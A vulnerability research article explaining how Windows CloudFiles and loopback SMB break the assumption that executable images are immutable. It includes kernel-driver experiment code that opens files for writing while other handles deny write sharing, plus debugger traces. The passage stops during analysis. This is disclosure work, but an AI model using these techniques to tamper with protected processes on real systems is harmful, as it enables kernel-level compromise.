In 2024, we disclosed a new Windows vulnerability class, False File Immutability (FFI), which previously demonstrated how network redirectors could be leveraged to violate incorrect assumptions in the design of Windows Code Integrity, resulting in a pair of kernel exploits. These exploits relied on Windows network drives, adding complexity and creating a choke-point in the kill chain that allowed for easier detection and mitigation.
This research presents an advancement by introducing a more streamlined and self-contained method of exploitation. The novel approach leverages a built-in Windows capability to achieve the same file modification bypass, without the complexities of SMB setups. By analyzing how the kernel driver for this capability processes file data, we uncover a security bypass that enables an attacker to modify files that Windows incorrectly assumes are immutable, leading to a proof-of-concept kernel exploit.
Principais conclusões:
- No Network Redirector Needed: Unlike prior exploits, the new exploitation method exploits False File Immutability without requiring the use of Windows file sharing.
- Built-in Capability Exploited: The exploit leverages a security bypass within a built-in Windows capability that handles cloud file synchronization.
- Immutability Violated: It enables modification of files that the Windows kernel and memory manager incorrectly assume are immutable, leading to a kernel exploit.
- Mitigation Bypassed: It enables attackers to bypass a mitigation that Microsoft created specifically for a prior FFI exploit.
- Forever-Day: Microsoft chose to only patch this exploit in some versions of Windows, so it remains functional on several fully-patched versions of Windows in Mainstream Support as of February 2026.
False file immutability
You may remember False File Immutability from our recent article and BlueHat IL 2024 talk, but if not, then this section should help refresh your memory. If you’re already familiar, feel free to skip to the next section.
When an application opens a file on Windows, it typically uses some form of the Win32 CreateFile API.
HANDLE CreateFileW(
[in] LPCWSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
Callers of CreateFile specify the access they want in dwDesiredAccess. For example, a caller would pass FILE_READ_DATA to be able to read data, or FILE_WRITE_DATA to be able to write data. The full set of access rights are documented on the Microsoft Learn website.
In addition to passing dwDesiredAccess, callers must pass a “sharing mode” in dwShareMode, which consists of zero or more of FILE_SHARE_READ, FILE_SHARE_WRITE, and FILE_SHARE_DELETE. You can think of a sharing mode as the caller declaring “I’m okay with others doing X to this file while I’m using it,” where X could be reading, writing, or renaming. For example, a caller that passes FILE_SHARE_WRITE allows others to write the file while they are working with it.
As a file is opened, the caller’s dwDesiredAccess is tested against the dwShareMode of all existing file handles. Simultaneously, the caller’s dwShareMode is tested against the previously-granted dwDesiredAccess of all existing handles to that file. If either of these tests fails, then CreateFile fails with a sharing violation.
Sharing isn’t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft documentation:
An open file that is not shared (
dwShareModeset to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.
Sharing is enforced by the filesystem, typically NTFS, but Windows supports other filesystems such as FAT32. Windows itself omits FILE_SHARE_WRITE when opening certain types of files, preventing modification while they are in use. Such unmodifiable files can be considered immutable.
In some situations, the memory manager relies on this immutability. If a page fault occurs within an immutable memory-mapped file, and that page hasn’t been modified, then the memory manager can read that page’s contents directly out of the original backing file. It needn’t save a second copy of the file’s contents to the pagefile because immutability ensures that the file on disk cannot be changed. Executables running in memory, such as EXEs and DLLs, are immutable, so the memory manager can apply this optimization to them.
Network redirectors allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily work with files and run programs off network drives. The kernel transparently redirects any I/O to the remote machine. If a program is launched from a network drive, any EXEs and its DLLs will be transparently pulled from the network as needed.
When a network redirector is in use, the server on the other end of the pipe needn’t be a Windows machine. It could be a Linux machine running Samba, or even a Python Impacket script that “speaks” the SMB network protocol. This means the server doesn’t have to honor Windows filesystem sharing semantics. An attacker can employ a network redirector to modify “immutable” files server-side, bypassing sharing restrictions. This means that these files are incorrectly assumed to be immutable. This is a vulnerability class that we are calling False File Immutability (FFI).
Cloud files
Imagine leaving the house to start your day, and there’s a package on your step. It’s that sweet Surface Book you ordered last week. Excited but short on time, you throw it into your bag and head to the gym. After working out to sick beats on your Zune, you head to the local Redmond coffee shop to meet up with a friend you met on Xbox Live. Unfortunately, they’re running late, so you crack open your brand new Surface Book and log into Windows, eager to set up Recall. Despite the mediocre coffee shop Wi-Fi, somehow your entire 1TB OneDrive immediately appears before you. There’s no way you could have downloaded 1TB that quickly, so there must be some witchcraft going on. That witchcraft is Cloud Files.
Introduced in Windows 10 version 1709, Cloud Files enables user-mode applications like OneDrive to register as Cloud Sync Providers and create empty “placeholder” files on the system. Initially, these placeholders are dehydrated (empty). As you access them, the I/O is intercepted by the CloudFiles kernel driver (cldflt.sys), which calls into the provider’s process. The provider can then retrieve the file’s contents from the cloud. It doesn't need to download the entire file at once. If you only need 1MB, it can retrieve just that 1MB. As you request more of the file, it can continue to rehydrate (fill in) the file contents as needed.
When the driver needs to rehydrate a file, it invokes a rehydration callback in the provider’s process (i.e. OneDrive.exe). That callback retrieves the file’s contents (potentially from the cloud) and calls CfExecute to give those contents to the driver, which the driver then writes to the file. CloudFiles will only request rehydration of file regions that aren’t currently hydrated, but it’s possible to dehydrate files to free up space on the current system.
Exploit development
By default, Windows allows for the sharing of files and folders over the network using the Server Message Block (SMB) protocol. If you’ve ever connected to a shared network drive on a corporate network, there’s a good chance that it used SMB. Windows includes both an SMB client and server by default. The client component provides a network redirector, as described above, enabling transparent SMB access to files via any API that accepts file paths. For example, you can run Process Monitor over the internet right now by running \\live.sysinternals.com\Procmon.exe.
We released the PPLFault exploit in May 2023 alongside our Black Hat Asia talk. PPLFault leverages a network redirector to exploit FFI in DLLs loaded into Protected Process Light (PPL) processes. The initial prototype required a second attacker-controlled machine running a malicious SMB server. By disabling Windows’ built-in SMB server, we were able to move the malicious SMB server to the local machine, removing the requirement for a second machine (prototype).
This was still messier than we would like, however, because at the time we incorrectly believed that stopping the Windows built-in SMB server required a reboot. Fortunately, we discovered James Forshaw’s technique of combining the CloudFiles provider with the loopback (localhost) SMB adapter, enabling us to create the final reboot-less exploit. Besides being streamlined, the CloudFiles/SMB pairing is distinct from the prior two exploit versions in that it uses the regular Windows SMB server, which should honor file sharing (i.e. FILE_SHARE_*) semantics. For example, while an SMB client has a file open on a server without FILE_SHARE_WRITE, the server shouldn’t allow another client to open that file for write access. Similarly, the server shouldn’t allow write access to any executables running locally on the server.
We seem to have a contradiction. If PPLFault has to abide by file sharing restrictions, then how is it injecting code into a running DLL? Let’s see what Process Monitor can tell us. Running PPLFault under Process Monitor shows the following three operations (filtered for illustrative purposes). This analysis was done with version 10.0.22621.2861 of cldflt.sys on Windows 11 22631.2861.
In order, the operations are:
- The victim process,
services.exe, loads a DLL as an executable image. - After it’s loaded,
PPLFault.exeopen it. - After it’s opened,
PPLFault.exewrites to it.
There are a few key observations to make here:
Violation of Immutability
We see a successful write operation to a file while it is loaded as an executable image. In our earlier FFI research, we discussed the MmFlushImageSection check in the file system, which is designed to protect against this very situation. How did it bypass this check?
Violation of the File Access Model
We can see that PPLFault successfully overwrote the file. Microsoft documentation for WriteFile states that the file should have been opened with write access, meaning FILE_WRITE_DATA, but the output shows it was opened for “Read Attributes, Write Attributes, Synchronize,” which is FILE_READ_ATTRIBUTES, FILE_WRITE_ATTRIBUTES, and SYNCHRONIZE. Without FILE_WRITE_DATA, how did it overwrite this file?
Let’s try to answer these two questions in the next section.
📘 Nerd Bonus -
Process Monitor installs a filesystem minifilter driver to intercept and log I/O activity on the system. Windows encapsulates I/O actions in structures called I/O Request Packets (IRPs). Each minifilter is assigned an “altitude,” which you can think of as floors in a building. Most IRPs start at the top floor and travel down the stack. If a minifilter issues its own I/O, that IRP starts at its altitude and travels downwards from there. In other words, a minifilter on the sixth floor will never see I/O from the fifth floor. Process Monitor’s minifilter driver runs at altitude
385200. Normally, it will never see the activity ofcldflt.sys, which runs at altitude180451. Fortunately, we can adjust Process Monitor’s altitude with the /altitude switch, placing it below CloudFiles at altitude180450.
Rules for thee, but not for me
As discussed, applications are subject to file sharing restrictions, but the kernel itself isn’t always restricted in the same way. For example, kernel drivers can use IoCreateFileEx to open or create files.
NTSTATUS IoCreateFileEx(
[out] PHANDLE FileHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in, optional] PLARGE_INTEGER AllocationSize,
[in] ULONG FileAttributes,
[in] ULONG ShareAccess,
[in] ULONG Disposition,
[in] ULONG CreateOptions,
[in, optional] PVOID EaBuffer,
[in] ULONG EaLength,
[in] CREATE_FILE_TYPE CreateFileType,
[in, optional] PVOID InternalParameters,
[in] ULONG Options,
[in, optional] PIO_DRIVER_CREATE_CONTEXT DriverContext
);
IoCreateFileEx looks very similar to the user-facing function NtCreateFile, but its documentation describes some important additional capabilities, including its Options parameter, which supports a flag:
IO_IGNORE_SHARE_ACCESS_CHECK
The I/O manager should not perform share-access checks on the file object after it is created. However, the file system might still perform these checks.
Is it that simple? Can a kernel driver use IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) to open an in-use DLL for write access? Let’s write a kernel driver to try it out. The code in this article is available as a Visual Studio project on GitHub here.
/*
* This experiment shows that a file opened without FILE_SHARE_WRITE
* can't be modified unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentOne()
{
DECLARE_CONST_UNICODE_STRING(filePath, L"\\??\\C:\\TestFile.bin");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES objAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)&filePath,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Create a file without FILE_SHARE_WRITE
// This mimics ntdll!LdrpMapDllNtFileName
ntStatus = ZwCreateFile(
&hFile,
FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
&objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentOne: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
bReportResults = TRUE;
// IoCreateFileEx without IO_IGNORE_SHARE_ACCESS_CHECK should not be able to open the file
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
0,
NULL);
if (NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentOne: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly "
"succeeded on a write-sharing-denied file\n");
ntStatus = STATUS_UNSUCCESSFUL;
goto Cleanup;
}
// Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a
// write-sharing-denied file for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
bSuccessful = NT_SUCCESS(ntStatus);
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentOne complete. "
"IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
"write-sharing-denied file for FILE_WRITE_DATA. "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hFile2);
}
Loading it in a VM with test signing enabled yields the following output:
ExperimentOne complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a write-sharing-denied file for FILE_WRITE_DATA. Status: 0x00000000
Did we just come up with a plausible explanation for how PPLFault can modify “immutable” files? Not quite. This experiment was a bit of an over-simplification, but it shows IO_IGNORE_SHARE_ACCESS_CHECK in action, proving that kernel APIs can provide more freedom than their user-mode counterparts.
In PPLFault, CloudFiles isn’t just modifying a file with write-sharing-denied handles. Rather, it’s modifying a DLL while it’s mapped in memory as an executable image. Let’s try another experiment that’s a little closer to the PPLFault scenario. In experiment two, we will emulate LoadLibrary by opening a DLL, creating a SEC_IMAGE section, and then mapping a view of that section into memory. Once the view is mapped, we will close the handles and test whether IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) can get a writable handle.
Let’s start with a helper function that maps a PE as an image section, similar to LoadLibrary. We’ll do this in the kernel to keep the experiment in a single driver, but note that it’s functionally equivalent to LoadLibrary for our purposes.
// Emulate a portion of LoadLibrary
NTSTATUS MapFileAsImageSection(
PCUNICODE_STRING pPath,
HANDLE* phFile,
HANDLE* phSection,
PVOID* ppMappedBase
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
PVOID pMappedBase = NULL;
SIZE_T viewSize = 0;
OBJECT_ATTRIBUTES objAttr{};
IO_STATUS_BLOCK iosb{};
InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)pPath,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// From ntdll!LdrpMapDllNtFileName
// NtOpenFile(&FileHandle, 0x100021u, &ObjectAttributes, &IoStatusBlock, 5u, 0x60u);
ntStatus = ZwOpenFile(
&hFile,
FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
&objAttr, &iosb,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"MapFileAsImageSection: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n",
pPath, ntStatus);
goto Cleanup;
}
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
// From ntdll!LdrpMapDllNtFileName
// NtCreateSection(&Handle, 0xDu, 0LL, 0LL, 0x10u, v18, FileHandle);
ntStatus = ZwCreateSection(&hSection,
SECTION_QUERY | SECTION_MAP_READ | SECTION_MAP_EXECUTE,
&objAttr, NULL, PAGE_EXECUTE, SEC_IMAGE, hFile
);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"MapFileAsImageSection: ZwCreateSection %wZ failed with NTSTATUS 0x%08x\n",
pPath, ntStatus);
goto Cleanup;
}
// From ntdll!LdrpMinimalMapModule
// Map a view of this SEC_IMAGE section into lower half of the the System process address space
ntStatus = ZwMapViewOfSection(
hSection, ZwCurrentProcess(), &pMappedBase, 0, 0, NULL,
&viewSize, ViewShare, 0, PAGE_EXECUTE_WRITECOPY);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"MapFileAsImageSection: ZwMapViewOfSection %wZ failed with NTSTATUS 0x%08x\n",
pPath, ntStatus);
goto Cleanup;
}
// Move ownership to output parameters and prevent cleanup
*ppMappedBase = pMappedBase;
pMappedBase = NULL;
*phFile = hFile;
hFile = NULL;
*phSection = hSection;
hSection = NULL;
Cleanup:
HandleDelete(hFile);
HandleDelete(hSection);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
return ntStatus;
}
Now let’s use that helper to map a DLL, then see if we can write to it with IO_IGNORE_SHARE_ACCESS_CHECK:
/*
* This experiment shows that a file opened without FILE_SHARE_WRITE can't be
* modified even if IO_IGNORE_SHARE_ACCESS_CHECK is used because the file has
* an associated active SEC_IMAGE section.
*/
VOID ExperimentTwo()
{
DECLARE_CONST_UNICODE_STRING(filePath, L"\\SystemRoot\\System32\\TestDll.dll");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES fileObjAttr{};
OBJECT_ATTRIBUTES sectionObjAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
PVOID pMappedBase = NULL;
PFILE_OBJECT pFileObject = NULL;
ntStatus = MapFileAsImageSection(
&filePath, &hFile, &hSection, &pMappedBase);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
// MmFlushImageSection should return FALSE. This is what fails the FILE_WRITE_DATA request below.
// MmFlushImageSection requires SECTION_OBJECT_POINTERS, which we can get from the FILE_OBJECT.
ntStatus = ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, (PVOID*)&pFileObject, NULL);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: ObReferenceObjectByHandle %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
if (MmFlushImageSection(pFileObject->SectionObjectPointer, MmFlushForWrite))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: MmFlushImageSection unexpectedly succeeded %wZ\n",
&filePath);
goto Cleanup;
}
// Now that a view of the SEC_IMAGE mapping exists, close the file and section handles to remove them from the equation
// We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the MmFlushImageSection check here:
// https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
ReferenceDelete(pFileObject);
HandleDelete(hFile);
HandleDelete(hSection);
InitializeObjectAttributes(&fileObjAttr, (PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a file mapped as SEC_IMAGE for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
bSuccessful = NT_SUCCESS(ntStatus);
bReportResults = TRUE;
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentTwo complete. "
"IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
"file backing a local SEC_IMAGE section for FILE_WRITE_DATA. "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hSection);
HandleDelete(hFile2);
ReferenceDelete(pFileObject);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
}
Running this experiment yields the following output:
ExperimentTwo complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CANNOT open a file backing a local SEC_IMAGE section for FILE_WRITE_DATA. Status: 0xc0000043
In this case, IoCreateFileEx failed with 0xC0000043 (STATUS_SHARING_VIOLATION) because files mapped as executable images have additional protections to ensure they remain immutable, even without any open handles. You can see this check using the MmFlushImageSection API in the Microsoft FastFat sample driver code, but it exists in other file systems as well, including NTFS:
//
// If the user wants write access access to the file make sure there
// is not a process mapping this file as an image. [ ... ]
//
if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {
[ ... ]
if (!MmFlushImageSection( &Fcb->NonPaged->SectionObjectPointers,
MmFlushForWrite )) {
Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
STATUS_SHARING_VIOLATION;
try_return( Iosb );
}
}
The IO_IGNORE_SHARE_ACCESS_CHECK flag bypasses I/O manager checks, but not the MmFlushImageSection check in the filesystem. Re-reading the description of IO_IGNORE_SHARE_ACCESS_CHECK, it’s obvious in hindsight:
IO_IGNORE_SHARE_ACCESS_CHECK
The I/O manager should not perform share-access checks on the file object after it is created. However, the file system might still perform these checks.
ExperimentTwo isn’t exactly a fair representation of PPLFault, which loads the DLL from a network drive. When a network client opens a file on a server, the SMB client driver allocates a File Control Block (FCB) structure representing that logical file. Correspondingly, the server opens the file with the requested share modes and allocates its own FCB. This means that there’s two distinct FCBs in play with different semantics. When the client maps a DLL into memory as an executable, the resulting SEC_IMAGE file mapping (aka section) is associated with its FCB so it gains the protection of MmFlushImageSection. The server does not correspondingly create an image section, so its FCB gains no such protection. PPLFault exploits this difference by performing the writes to the server’s FCB, bypassing the MmFlushImageSection check.
Let’s try this out in ExperimentThree:
/*
* This experiment shows that a file loaded as a DLL by an SMB client can't be modified
* server-side unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentThree()
{
DECLARE_CONST_UNICODE_STRING(filePathLocal,
L"\\SystemRoot\\System32\\TestDll.dll");
DECLARE_CONST_UNICODE_STRING(filePathSMB,
L"\\Device\\Mup\\127.0.0.1\\c$\\Windows\\System32\\TestDll.dll");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES fileObjAttr{};
OBJECT_ATTRIBUTES sectionObjAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
PVOID pMappedBase = NULL;
ntStatus = MapFileAsImageSection(
&filePathSMB, &hFile, &hSection, &pMappedBase);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
&filePathSMB, ntStatus);
goto Cleanup;
}
// Now that a view of the SEC_IMAGE mapping exists,
// close the file and section handles to remove them from the equation.
// We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the
// MmFlushImageSection check here:
// https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
HandleDelete(hFile);
HandleDelete(hSection);
InitializeObjectAttributes(&fileObjAttr,
(PUNICODE_STRING)&filePathLocal, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
bReportResults = TRUE;
// Can IoCreateFileEx() open a file mapped as SEC_IMAGE for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
0,
NULL);
if (NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly succeeded "
"on a file mapped as SEC_IMAGE remotely by an SMB client\n");
ntStatus = STATUS_UNSUCCESSFUL;
goto Cleanup;
}
// Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open
// a file mapped as SEC_IMAGE for write access?
ntStatus = IoCreateFileEx(
&hFile2,
FILE_WRITE_DATA | SYNCHRONIZE,
&fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL, 0, CreateFileTypeNone, NULL,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
bSuccessful = NT_SUCCESS(ntStatus);
bReportResults = TRUE;
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentThree complete. "
"IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
"file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hSection);
HandleDelete(hFile2);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
}
ExperimentThree generates the following output:
ExperimentThree complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. Status: 0x00000000
ExperimentThree above shows how kernel drivers are able to modify DLLs mapped by SMB clients by using the IO_IGNORE_SHARE_ACCESS_CHECK flag on the server’s version of that file.
Roll up your sleeves
We’ve just shown what’s possible, but we still don’t know what Cloud Files is actually doing. Let’s dig deeper into the Process Monitor output to answer the questions raised earlier.
Earlier, we asked two questions:
Violation of Immutability
We see a successful write operation to a file while it is loaded as an executable image. In our earlier FFI research, we discussed theMmFlushImageSectioncheck in the file system, which is designed to protect against this very situation. How did it bypass this check?Violation of the File Access Model
We can see that PPLFault successfully overwrote the file. Microsoft documentation for WriteFile states that the file should have been opened with write access, meaningFILE_WRITE_DATA, but the output shows it was opened for “Read Attributes, Write Attributes, Synchronize,” which isFILE_READ_ATTRIBUTES,FILE_WRITE_ATTRIBUTES, andSYNCHRONIZE. WithoutFILE_WRITE_DATA, how did it overwrite this file?
We can easily explain the MmFlushImageSection bypass. That check looks for FILE_WRITE_DATA, which wasn’t used here. The file was only opened for “Read Attributes, Write Attributes, Synchronize.” We can’t explain the violation of the file access model, however. How did it overwrite a non-writable file? Let’s zoom in on the call stack for that WriteFile operation to try to find out.
In the call stack, we can see line 176 of PPLFault.cpp calling cldapi.dll!CfExecute (rows 24-25) from user-mode. This eventually results in cldflt.sys!HsmiRecallWriteFileNoLock calling FltWriteFileEx. FltWriteFileEx is somehow able to write to a file that’s not opened for write access. Let’s attach a kernel debugger and take a closer look.
Setting a breakpoint on FltWriteFileEx and re-running the exploit, we can break at the call from HsmiRecallWriteFileNoLock:
2: kd> bp fltmgr!FltWriteFileEx
2: kd> g
Breakpoint 0 hit
FLTMGR!FltWriteFileEx:
fffff800`425aad40 4055 push rbp
0: kd> k
# Child-SP RetAddr Call Site
00 ffffb90e`faa968e8 fffff800`5c2878d3 FLTMGR!FltWriteFileEx
01 ffffb90e`faa968f0 fffff800`5c2b2ccc cldflt!HsmiRecallWriteFileNoLock+0x2df
02 ffffb90e`faa969f0 fffff800`5c2b25f8 cldflt!HsmRecallTransferData+0x25c
03 ffffb90e`faa96aa0 fffff800`5c2b35d7 cldflt!CldStreamTransferData+0x65c
04 ffffb90e`faa96bd0 fffff800`5c27196c cldflt!CldiSyncTransferOrAckDataByObject+0x4c7
05 ffffb90e`faa96cb0 fffff800`5c2bb568 cldflt!CldiSyncTransferOrAckData+0xdc
06 ffffb90e`faa96d10 fffff800`5c2bafe1 cldflt!CldiPortProcessTransferData+0x46c
07 ffffb90e`faa96db0 fffff800`5c27895a cldflt!CldiPortProcessTransfer+0x291
08 ffffb90e`faa96e50 fffff800`4259530a cldflt!CldiPortNotifyMessage+0xd9a
09 ffffb90e`faa96f70 fffff800`425cf299 FLTMGR!FltpFilterMessage+0xda
0a ffffb90e`faa96fd0 fffff800`42597e60 FLTMGR!FltpMsgDispatch+0x179
0b ffffb90e`faa97040 fffff800`3eaebef5 FLTMGR!FltpDispatch+0xe0
0c ffffb90e`faa970a0 fffff800`3ef40060 nt!IofCallDriver+0x55
0d ffffb90e`faa970e0 fffff800`3ef41a90 nt!IopSynchronousServiceTail+0x1d0
0e ffffb90e`faa97190 fffff800`3ef41376 nt!IopXxxControlFile+0x700
0f ffffb90e`faa97380 fffff800`3ec2bbe8 nt!NtDeviceIoControlFile+0x56
10 ffffb90e`faa973f0 00007ffe`b074f454 nt!KiSystemServiceCopyEnd+0x28
11 000000dc`e7bff448 00007ffe`99383ca2 ntdll!NtDeviceIoControlFile+0x14
12 000000dc`e7bff450 00007ffe`99383251 FLTLIB!FilterpDeviceIoControl+0x136
13 000000dc`e7bff4c0 00007ffe`94f3b12b FLTLIB!FilterSendMessage+0x31
